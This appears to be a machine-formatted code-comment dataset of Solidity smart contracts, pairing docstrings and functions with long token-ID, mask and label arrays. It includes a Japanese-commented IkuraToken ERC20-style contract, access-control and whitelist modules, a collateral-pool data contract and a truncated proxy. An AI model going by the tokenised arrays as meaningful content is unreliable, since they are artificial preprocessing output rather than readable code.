self._association.newProposal(keccak256('burn'), sender, amount, '');
return true;
}
/**
* 提案を承認する。
* #TODO proposalIdは分からないので、別のものからproposalを特定しないといかんよ
*
* @param self 実行Entity
* @param sender 実行アドレス
* @param type_ 承認する提案の種類
* @param proposalId 提案ID
*/
function confirmProposal(Entity storage self, address sender, bytes32 type_, uint proposalId) public {
self._association.confirmProposal(type_, sender, proposalId);
}
/**
* 指定した種類の提案数を取得する
*
* @param type_ 提案の種類('mint' | 'burn' | 'transferMinimumFee' | 'transferFeeRate')
*
* @return 提案数(承認されていないものも含む)
*/
function numberOfProposals(Entity storage self, bytes32 type_) public view returns (uint) {
return self._association.numberOfProposals(type_);
}
}
/**
*
* トークンロジック
*
*/
contract IkuraToken is IkuraTokenEvent, DSMath, DSAuth {
//
// constants
//
// 手数料率
// 0.01pips = 1
// 例). 手数料を 0.05% とする場合は 500
uint _transferFeeRate = 0;
// 最低手数料額
// 1 = 1dJPY
// amount * 手数料率で算出した金額がここで設定した最低手数料を下回る場合は、最低手数料額を手数料とする
uint8 _transferMinimumFee = 0;
// ロジックバージョン
uint _logicVersion = 2;
//
// libraries
//
/*using ProposalLibrary for ProposalLibrary.Entity;
ProposalLibrary.Entity proposalEntity;*/
//
// private
//
// データの永続化ストレージ
IkuraStorage _storage;
IkuraAssociation _association;
constructor() DSAuth() public {
// @NOTE リリース時にcontractのdeploy -> watch contract -> setOwnerの流れを
//省略したい場合は、ここで直接controllerのアドレスを指定するとショートカットできます
// 勿論テストは通らなくなるので、テストが通ったら試してね
/*address controllerAddress = 0x34c5605A4Ef1C98575DB6542179E55eE1f77A188;
owner = controllerAddress;
LogSetOwner(controllerAddress);*/
}
// ----------------------------------------------------------------------------------------------------
// 以降はERC20に準拠した関数
// ----------------------------------------------------------------------------------------------------
/**
* ERC20 Token Standardに準拠した関数
*
* dJPYの発行高を返す
*
* @return 発行高
*/
function totalSupply(address sender) public view returns (uint) {
sender; // #HACK
return _storage.totalSupply();
}
/**
* ERC20 Token Standardに準拠した関数
*
* 特定のアドレスのdJPY残高を返す
*
* @param sender 実行アドレス
* @param addr アドレス
*
* @return 指定したアドレスのdJPY残高
*/
function balanceOf(address sender, address addr) public view returns (uint) {
sender; // #HACK
return _storage.coinBalance(addr);
}
/**
* ERC20 Token Standardに準拠した関数
*
* 指定したアドレスに対してdJPYを送金する
* 以下の条件を満たす必要がある
*
* - メッセージの送信者の残高 >= 送金額
* - 送金額 > 0
* - 送金先のアドレスの残高 + 送金額 > 送金元のアドレスの残高(overflowのチェックらしい)
*
* @param sender 送金元アドレス
* @param to 送金対象アドレス
* @param amount 送金額
*
* @return 条件を満たして処理に成功した場合はtrue、失敗した場合はfalse
*/
function transfer(address sender, address to, uint amount) public auth returns (bool success) {
uint fee = transferFee(sender, sender, to, amount);
uint totalAmount = add(amount, fee);
require(_storage.coinBalance(sender) >= totalAmount);
require(amount > 0);
// 実行者の口座からamount + feeの金額が控除される
_storage.subCoinBalance(sender, totalAmount);
// toの口座にamountが振り込まれる
_storage.addCoinBalance(to, amount);
if (fee > 0) {
// 手数料を受け取るオーナーのアドレスを選定
address owner = selectOwnerAddressForTransactionFee(sender);
// オーナーの口座にfeeが振り込まれる
_storage.addCoinBalance(owner, fee);
}
return true;
}
/**
* ERC20 Token Standardに準拠した関数
*
* from(送信元のアドレス)からto(送信先のアドレス)へamount分だけ送金する。
* 主に口座からの引き出しに利用され、契約によってサブ通貨の送金手数料を徴収することができるようになる。
* この操作はfrom(送信元のアドレス)が何らかの方法で意図的に送信者を許可する場合を除いて失敗すべき。
* この許可する処理はapproveコマンドで実装しましょう。
*
* 以下の条件を満たす場合だけ送金を認める
*
* - 送信元の残高 >= 金額
* - 送金する金額 > 0
* - 送信者に対して送信元が許可している金額 >= 送金する金額
* - 送信先の残高 + 金額 > 送信元の残高(overflowのチェックらしい)
# - 送金処理を行うユーザーの口座残高 >= 送金処理の手数料
*
* @param sender 実行アドレス
* @param from 送金元アドレス
* @param to 送金先アドレス
* @param amount 送金額
*
* @return 条件を満たして処理に成功した場合はtrue、失敗した場合はfalse
*/
function transferFrom(address sender, address from, address to, uint amount) public auth returns (bool success) {
uint fee = transferFee(sender, from, to, amount);
require(_storage.coinBalance(from) >= amount);
require(_storage.coinAllowance(from, sender) >= amount);
require(amount > 0);
require(add(_storage.coinBalance(to), amount) > _storage.coinBalance(to));
if (fee > 0) {
require(_storage.coinBalance(sender) >= fee);
// 手数料を受け取るオーナーのアドレスを選定
address owner = selectOwnerAddressForTransactionFee(sender);
// 手数料はこの関数を実行したユーザー(主に取引所とか)から徴収する
_storage.subCoinBalance(sender, fee);
_storage.addCoinBalance(owner, fee);
}
// 送金元から送金額を引く
_storage.subCoinBalance(from, amount);
// 送金許可している金額を減らす
_storage.subCoinAllowance(from, sender, amount);
// 送金口座に送金額を足す
_storage.addCoinBalance(to, amount);
return true;
}
/**
* ERC20 Token Standardに準拠した関数
*
* spender(支払い元のアドレス)にsender(送信者)がamount分だけ支払うのを許可する
* この関数が呼ばれる度に送金可能な金額を更新する。
*
* @param sender 実行アドレス
* @param spender 送金元アドレス
* @param amount 送金額
*
* @return 基本的にtrueを返す
*/
function approve(address sender, address spender, uint amount) public auth returns (bool success) {
_storage.setCoinAllowance(sender, spender, amount);
return true;
}
/**
* ERC20 Token Standardに準拠した関数
*
* 受取側に対して支払い側がどれだけ送金可能かを返す
*
* @param sender 実行アドレス
* @param owner 受け取り側のアドレス
* @param spender 支払い元のアドレス
*
* @return 許可されている送金料
*/
function allowance(address sender, address owner, address spender) public view returns (uint remaining) {
sender; // #HACK
return _storage.coinAllowance(owner, spender);
}
// ----------------------------------------------------------------------------------------------------
// 以降はERC20以外の独自実装
// ----------------------------------------------------------------------------------------------------
/**
* 特定のアドレスのSHINJI残高を返す
*
* @param sender 実行アドレス
* @param owner アドレス
*
* @return 指定したアドレスのSHINJIトークン量
*/
function tokenBalanceOf(address sender, address owner) public view returns (uint balance) {
sender; // #HACK
return _storage.tokenBalance(owner);
}
/**
* 指定したアドレスに対してSHINJIトークンを送金する
*
* - 送信元の残トークン量 >= トークン量
* - 送信するトークン量 > 0
* - 送信先の残高 + 金額 > 送信元の残高(overflowのチェック)
*
* @param sender 実行アドレス
* @param to 送金対象アドレス
* @param amount 送金額
*
* @return 条件を満たして処理に成功した場合はtrue、失敗した場合はfalse
*/
function transferToken(address sender, address to, uint amount) public auth returns (bool success) {
require(_storage.tokenBalance(sender) >= amount);
require(amount > 0);
require(add(_storage.tokenBalance(to), amount) > _storage.tokenBalance(to));
_storage.subTokenBalance(sender, amount);
_storage.addTokenBalance(to, amount);
emit IkuraTransferToken(sender, to, amount);
return true;
}
/**
* 送金元、送金先、送金金額によって対象のトランザクションの手数料を決定する
* 送金金額に対して手数料率をかけたものを計算し、最低手数料金額とのmax値を取る。
*
* @param sender 実行アドレス
* @param from 送金元
* @param to 送金先
* @param amount 送金金額
*
* @return 手数料金額
*/
function transferFee(address sender, address from, address to, uint amount) public view returns (uint) {
sender; from; to; // #avoid warning
if (_transferFeeRate > 0) {
uint denominator = 1000000; // 0.01 pips だから 100 * 100 * 100 で 100万
uint numerator = mul(amount, _transferFeeRate);
uint fee = numerator / denominator;
uint remainder = sub(numerator, mul(denominator, fee));
// 余りがある場合はfeeに1を足す
if (remainder > 0) {
fee++;
}
if (fee < _transferMinimumFee) {
fee = _transferMinimumFee;
}
return fee;
} else {
return 0;
}
}
/**
* 手数料率を返す
*
* @param sender 実行アドレス
*
* @return 手数料率
*/
function transferFeeRate(address sender) public view returns (uint) {
sender; // #HACK
return _transferFeeRate;
}
/**
* 最低手数料額を返す
*
* @param sender 実行アドレス
*
* @return 最低手数料額
*/
function transferMinimumFee(address sender) public view returns (uint8) {
sender; // #HACK
return _transferMinimumFee;
}
/**
* 手数料を振り込む口座を選択する
* #TODO とりあえず一個目のオーナーに固定。後で選定ロジックを変える
*
* @param sender 実行アドレス
* @return 特定のオーナー口座
*/
function selectOwnerAddressForTransactionFee(address sender) public view returns (address) {
sender; // #HACK
return _storage.primaryOwner();
}
/**
* dJPYを鋳造する
*
* - コマンドを実行したユーザがオーナーである
* - 鋳造する量が0より大きい
*
* 場合は成功する
*
* @param sender 実行アドレス
* @param amount 鋳造する金額
*/
function mint(address sender, uint amount) public auth returns (bool) {
require(amount > 0);
_association.newProposal(keccak256('mint'), sender, amount, '');
return true;
/*return proposalEntity.mint(sender, amount);*/
}
/**
* dJPYを消却する
*
* - コマンドを実行したユーザがオーナーである
* - 鋳造する量が0より大きい
* - dJPYの残高がamountよりも大きい
* - SHINJIをamountよりも大きい
*
* 場合は成功する
*
* @param sender 実行アドレス
* @param amount 消却する金額
*/
function burn(address sender, uint amount) public auth returns (bool) {
require(amount > 0);
require(_storage.coinBalance(sender) >= amount);
require(_storage.tokenBalance(sender) >= amount);
_association.newProposal(keccak256('burn'), sender, amount, '');
return true;
/*return proposalEntity.burn(sender, amount);*/
}
/**
* 提案を承認する。
* #TODO proposalIdは分からないので、別のものからproposalを特定しないといかんよ
*/
function confirmProposal(address sender, bytes32 type_, uint proposalId) public auth {
_association.confirmProposal(type_, sender, proposalId);
/*proposalEntity.confirmProposal(sender, type_, proposalId);*/
}
/**
* 指定した種類の提案数を取得する
*
* @param type_ 提案の種類('mint' | 'burn' | 'transferMinimumFee' | 'transferFeeRate')
*
* @return 提案数(承認されていないものも含む)
*/
function numberOfProposals(bytes32 type_) public view returns (uint) {
return _association.numberOfProposals(type_);
/*return proposalEntity.numberOfProposals(type_);*/
}
/**
* 関連づける承認プロセスを変更する
*
* @param association_ 新しい承認プロセス
*/
function changeAssociation(address association_) public auth returns (bool) {
_association = IkuraAssociation(association_);
return true;
}
/**
* 永続化ストレージを設定する
*
* @param storage_ 永続化ストレージのインスタンス(アドレス)
*/
function changeStorage(address storage_) public auth returns (bool) {
_storage = IkuraStorage(storage_);
return true;
}
/**
* ロジックのバージョンを返す
*
* @param sender 実行ユーザーのアドレス
*
* @return バージョン情報
*/
function logicVersion(address sender) public view returns (uint) {
sender; // #HACK
return _logicVersion;
}
}
| * dJPYを消却する - コマンドを実行したユーザがオーナーである - 鋳造する量が0より大きい - dJPYの残高がamountよりも大きい - SHINJIをamountよりも大きい 場合は成功する @param self 実行Entity @param sender 実行アドレス @param amount 消却する金額/ | function burn(Entity storage self, address sender, uint amount) public returns (bool) {
require(amount > 0);
require(self._storage.coinBalance(sender) >= amount);
require(self._storage.tokenBalance(sender) >= amount);
self._association.newProposal(keccak256('burn'), sender, amount, '');
return true;
}
| 12,708,200 | [
1,
72,
46,
16235,
164,
229,
245,
167,
119,
235,
166,
240,
117,
164,
228,
252,
164,
229,
238,
300,
225,
164,
229,
116,
164,
230,
257,
164,
230,
116,
164,
230,
236,
164,
229,
245,
166,
111,
258,
169,
99,
239,
164,
228,
250,
164,
228,
258,
164,
230,
104,
164,
230,
125,
164,
229,
119,
164,
228,
239,
164,
229,
108,
164,
230,
125,
164,
230,
237,
164,
230,
125,
164,
228,
105,
164,
228,
229,
164,
229,
238,
300,
225,
170,
238,
116,
170,
227,
259,
164,
228,
252,
164,
229,
238,
170,
234,
242,
164,
228,
239,
20,
164,
229,
235,
164,
229,
237,
166,
102,
105,
164,
228,
240,
164,
228,
231,
300,
302,
46,
16235,
164,
228,
111,
167,
111,
238,
170,
109,
251,
164,
228,
239,
8949,
164,
229,
235,
164,
229,
237,
164,
229,
229,
166,
102,
105,
164,
228,
240,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
225,
445,
18305,
12,
1943,
2502,
365,
16,
1758,
5793,
16,
2254,
3844,
13,
1071,
1135,
261,
6430,
13,
288,
203,
565,
2583,
12,
8949,
405,
374,
1769,
203,
565,
2583,
12,
2890,
6315,
5697,
18,
12645,
13937,
12,
15330,
13,
1545,
3844,
1769,
203,
565,
2583,
12,
2890,
6315,
5697,
18,
2316,
13937,
12,
15330,
13,
1545,
3844,
1769,
203,
203,
565,
365,
6315,
19358,
18,
2704,
14592,
12,
79,
24410,
581,
5034,
2668,
70,
321,
19899,
5793,
16,
3844,
16,
23489,
203,
203,
565,
327,
638,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x97FF0996DFFD6C5ab023a2c4fb244Af784d62706/sources/contracts/abstracts/ShibaCardsAccessible.sol | @dev Return `true` if the account belongs to the admin role. | function isAdmin(address account) public view virtual returns (bool) {
return hasRole(DEFAULT_ADMIN_ROLE, account);
}
| 4,162,244 | [
1,
990,
1375,
3767,
68,
309,
326,
2236,
11081,
358,
326,
3981,
2478,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
23467,
12,
2867,
2236,
13,
1071,
1476,
5024,
1135,
261,
6430,
13,
288,
203,
565,
327,
28335,
12,
5280,
67,
15468,
67,
16256,
16,
2236,
1769,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: contracts\modules\Ownable.sol
pragma solidity =0.5.16;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts\modules\Managerable.sol
pragma solidity =0.5.16;
contract Managerable is Ownable {
address private _managerAddress;
/**
* @dev modifier, Only manager can be granted exclusive access to specific functions.
*
*/
modifier onlyManager() {
require(_managerAddress == msg.sender,"Managerable: caller is not the Manager");
_;
}
/**
* @dev set manager by owner.
*
*/
function setManager(address managerAddress)
public
onlyOwner
{
_managerAddress = managerAddress;
}
/**
* @dev get manager address.
*
*/
function getManager()public view returns (address) {
return _managerAddress;
}
}
// File: contracts\modules\Halt.sol
pragma solidity =0.5.16;
contract Halt is Ownable {
bool private halted = false;
modifier notHalted() {
require(!halted,"This contract is halted");
_;
}
modifier isHalted() {
require(halted,"This contract is not halted");
_;
}
/// @notice function Emergency situation that requires
/// @notice contribution period to stop or not.
function setHalt(bool halt)
public
onlyOwner
{
halted = halt;
}
}
// File: contracts\modules\whiteList.sol
pragma solidity =0.5.16;
/**
* @dev Implementation of a whitelist which filters a eligible uint32.
*/
library whiteListUint32 {
/**
* @dev add uint32 into white list.
* @param whiteList the storage whiteList.
* @param temp input value
*/
function addWhiteListUint32(uint32[] storage whiteList,uint32 temp) internal{
if (!isEligibleUint32(whiteList,temp)){
whiteList.push(temp);
}
}
/**
* @dev remove uint32 from whitelist.
*/
function removeWhiteListUint32(uint32[] storage whiteList,uint32 temp)internal returns (bool) {
uint256 len = whiteList.length;
uint256 i=0;
for (;i<len;i++){
if (whiteList[i] == temp)
break;
}
if (i<len){
if (i!=len-1) {
whiteList[i] = whiteList[len-1];
}
whiteList.length--;
return true;
}
return false;
}
function isEligibleUint32(uint32[] memory whiteList,uint32 temp) internal pure returns (bool){
uint256 len = whiteList.length;
for (uint256 i=0;i<len;i++){
if (whiteList[i] == temp)
return true;
}
return false;
}
function _getEligibleIndexUint32(uint32[] memory whiteList,uint32 temp) internal pure returns (uint256){
uint256 len = whiteList.length;
uint256 i=0;
for (;i<len;i++){
if (whiteList[i] == temp)
break;
}
return i;
}
}
/**
* @dev Implementation of a whitelist which filters a eligible uint256.
*/
library whiteListUint256 {
// add whiteList
function addWhiteListUint256(uint256[] storage whiteList,uint256 temp) internal{
if (!isEligibleUint256(whiteList,temp)){
whiteList.push(temp);
}
}
function removeWhiteListUint256(uint256[] storage whiteList,uint256 temp)internal returns (bool) {
uint256 len = whiteList.length;
uint256 i=0;
for (;i<len;i++){
if (whiteList[i] == temp)
break;
}
if (i<len){
if (i!=len-1) {
whiteList[i] = whiteList[len-1];
}
whiteList.length--;
return true;
}
return false;
}
function isEligibleUint256(uint256[] memory whiteList,uint256 temp) internal pure returns (bool){
uint256 len = whiteList.length;
for (uint256 i=0;i<len;i++){
if (whiteList[i] == temp)
return true;
}
return false;
}
function _getEligibleIndexUint256(uint256[] memory whiteList,uint256 temp) internal pure returns (uint256){
uint256 len = whiteList.length;
uint256 i=0;
for (;i<len;i++){
if (whiteList[i] == temp)
break;
}
return i;
}
}
/**
* @dev Implementation of a whitelist which filters a eligible address.
*/
library whiteListAddress {
// add whiteList
function addWhiteListAddress(address[] storage whiteList,address temp) internal{
if (!isEligibleAddress(whiteList,temp)){
whiteList.push(temp);
}
}
function removeWhiteListAddress(address[] storage whiteList,address temp)internal returns (bool) {
uint256 len = whiteList.length;
uint256 i=0;
for (;i<len;i++){
if (whiteList[i] == temp)
break;
}
if (i<len){
if (i!=len-1) {
whiteList[i] = whiteList[len-1];
}
whiteList.length--;
return true;
}
return false;
}
function isEligibleAddress(address[] memory whiteList,address temp) internal pure returns (bool){
uint256 len = whiteList.length;
for (uint256 i=0;i<len;i++){
if (whiteList[i] == temp)
return true;
}
return false;
}
function _getEligibleIndexAddress(address[] memory whiteList,address temp) internal pure returns (uint256){
uint256 len = whiteList.length;
uint256 i=0;
for (;i<len;i++){
if (whiteList[i] == temp)
break;
}
return i;
}
}
// File: contracts\modules\AddressWhiteList.sol
pragma solidity =0.5.16;
/**
* @dev Implementation of a whitelist filters a eligible address.
*/
contract AddressWhiteList is Halt {
using whiteListAddress for address[];
uint256 constant internal allPermission = 0xffffffff;
uint256 constant internal allowBuyOptions = 1;
uint256 constant internal allowSellOptions = 1<<1;
uint256 constant internal allowExerciseOptions = 1<<2;
uint256 constant internal allowAddCollateral = 1<<3;
uint256 constant internal allowRedeemCollateral = 1<<4;
// The eligible adress list
address[] internal whiteList;
mapping(address => uint256) internal addressPermission;
/**
* @dev Implementation of add an eligible address into the whitelist.
* @param addAddress new eligible address.
*/
function addWhiteList(address addAddress)public onlyOwner{
whiteList.addWhiteListAddress(addAddress);
addressPermission[addAddress] = allPermission;
}
function modifyPermission(address addAddress,uint256 permission)public onlyOwner{
addressPermission[addAddress] = permission;
}
/**
* @dev Implementation of revoke an invalid address from the whitelist.
* @param removeAddress revoked address.
*/
function removeWhiteList(address removeAddress)public onlyOwner returns (bool){
addressPermission[removeAddress] = 0;
return whiteList.removeWhiteListAddress(removeAddress);
}
/**
* @dev Implementation of getting the eligible whitelist.
*/
function getWhiteList()public view returns (address[] memory){
return whiteList;
}
/**
* @dev Implementation of testing whether the input address is eligible.
* @param tmpAddress input address for testing.
*/
function isEligibleAddress(address tmpAddress) public view returns (bool){
return whiteList.isEligibleAddress(tmpAddress);
}
function checkAddressPermission(address tmpAddress,uint256 state) public view returns (bool){
return (addressPermission[tmpAddress]&state) == state;
}
}
// File: contracts\OptionsPool\IOptionsPool.sol
pragma solidity =0.5.16;
interface IOptionsPool {
// function getOptionBalances(address user) external view returns(uint256[]);
function getExpirationList()external view returns (uint32[] memory);
function createOptions(address from,address settlement,uint256 type_ly_expiration,
uint128 strikePrice,uint128 underlyingPrice,uint128 amount,uint128 settlePrice) external returns(uint256);
function setSharedState(uint256 newFirstOption,int256[] calldata latestNetWorth,address[] calldata whiteList) external;
function getAllTotalOccupiedCollateral() external view returns (uint256,uint256);
function getCallTotalOccupiedCollateral() external view returns (uint256);
function getPutTotalOccupiedCollateral() external view returns (uint256);
function getTotalOccupiedCollateral() external view returns (uint256);
// function buyOptionCheck(uint32 expiration,uint32 underlying)external view;
function burnOptions(address from,uint256 id,uint256 amount,uint256 optionPrice)external;
function getOptionsById(uint256 optionsId)external view returns(uint256,address,uint8,uint32,uint256,uint256,uint256);
function getExerciseWorth(uint256 optionsId,uint256 amount)external view returns(uint256);
function calculatePhaseOptionsFall(uint256 lastOption,uint256 begin,uint256 end,address[] calldata whiteList) external view returns(int256[] memory);
function getOptionInfoLength()external view returns (uint256);
function getNetWrothCalInfo(address[] calldata whiteList)external view returns(uint256,int256[] memory);
function calRangeSharedPayment(uint256 lastOption,uint256 begin,uint256 end,address[] calldata whiteList)external view returns(int256[] memory,uint256[] memory,uint256);
function getNetWrothLatestWorth(address settlement)external view returns(int256);
function getBurnedFullPay(uint256 optionID,uint256 amount) external view returns(address,uint256);
}
contract ImportOptionsPool is Ownable{
IOptionsPool internal _optionsPool;
function getOptionsPoolAddress() public view returns(address){
return address(_optionsPool);
}
function setOptionsPoolAddress(address optionsPool)public onlyOwner{
_optionsPool = IOptionsPool(optionsPool);
}
}
// File: contracts\modules\Operator.sol
pragma solidity =0.5.16;
/**
* @dev Contract module which provides a basic access control mechanism, where
* each operator can be granted exclusive access to specific functions.
*
*/
contract Operator is Ownable {
using whiteListAddress for address[];
address[] private _operatorList;
/**
* @dev modifier, every operator can be granted exclusive access to specific functions.
*
*/
modifier onlyOperator() {
require(_operatorList.isEligibleAddress(msg.sender),"Managerable: caller is not the Operator");
_;
}
/**
* @dev modifier, Only indexed operator can be granted exclusive access to specific functions.
*
*/
modifier onlyOperatorIndex(uint256 index) {
require(_operatorList.length>index && _operatorList[index] == msg.sender,"Operator: caller is not the eligible Operator");
_;
}
/**
* @dev add a new operator by owner.
*
*/
function addOperator(address addAddress)public onlyOwner{
_operatorList.addWhiteListAddress(addAddress);
}
/**
* @dev modify indexed operator by owner.
*
*/
function setOperator(uint256 index,address addAddress)public onlyOwner{
_operatorList[index] = addAddress;
}
/**
* @dev remove operator by owner.
*
*/
function removeOperator(address removeAddress)public onlyOwner returns (bool){
return _operatorList.removeWhiteListAddress(removeAddress);
}
/**
* @dev get all operators.
*
*/
function getOperator()public view returns (address[] memory) {
return _operatorList;
}
/**
* @dev set all operators by owner.
*
*/
function setOperators(address[] memory operators)public onlyOwner {
_operatorList = operators;
}
}
// File: contracts\CollateralPool\CollateralData.sol
pragma solidity =0.5.16;
/**
* @title collateral pool contract with coin and necessary storage data.
* @dev A smart-contract which stores user's deposited collateral.
*
*/
contract CollateralData is AddressWhiteList,Managerable,Operator,ImportOptionsPool{
// The total fees accumulated in the contract
mapping (address => uint256) internal feeBalances;
uint32[] internal FeeRates;
/**
* @dev Returns the rate of trasaction fee.
*/
uint256 constant internal buyFee = 0;
uint256 constant internal sellFee = 1;
uint256 constant internal exerciseFee = 2;
uint256 constant internal addColFee = 3;
uint256 constant internal redeemColFee = 4;
event RedeemFee(address indexed recieptor,address indexed settlement,uint256 payback);
event AddFee(address indexed settlement,uint256 payback);
event TransferPayback(address indexed recieptor,address indexed settlement,uint256 payback);
//token net worth balance
mapping (address => int256) internal netWorthBalances;
//total user deposited collateral balance
// map from collateral address to amount
mapping (address => uint256) internal collateralBalances;
//user total paying for collateral, priced in usd;
mapping (address => uint256) internal userCollateralPaying;
//user original deposited collateral.
//map account -> collateral -> amount
mapping (address => mapping (address => uint256)) internal userInputCollateral;
}
// File: contracts\Proxy\baseProxy.sol
pragma solidity =0.5.16;
/**
* @title baseProxy Contract
*/
contract baseProxy is Ownable {
address public implementation;
constructor(address implementation_) public {
// Creator of the contract is admin during initialization
implementation = implementation_;
(bool success,) = implementation_.delegatecall(abi.encodeWithSignature("initialize()"));
require(success);
}
function getImplementation()public view returns(address){
return implementation;
}
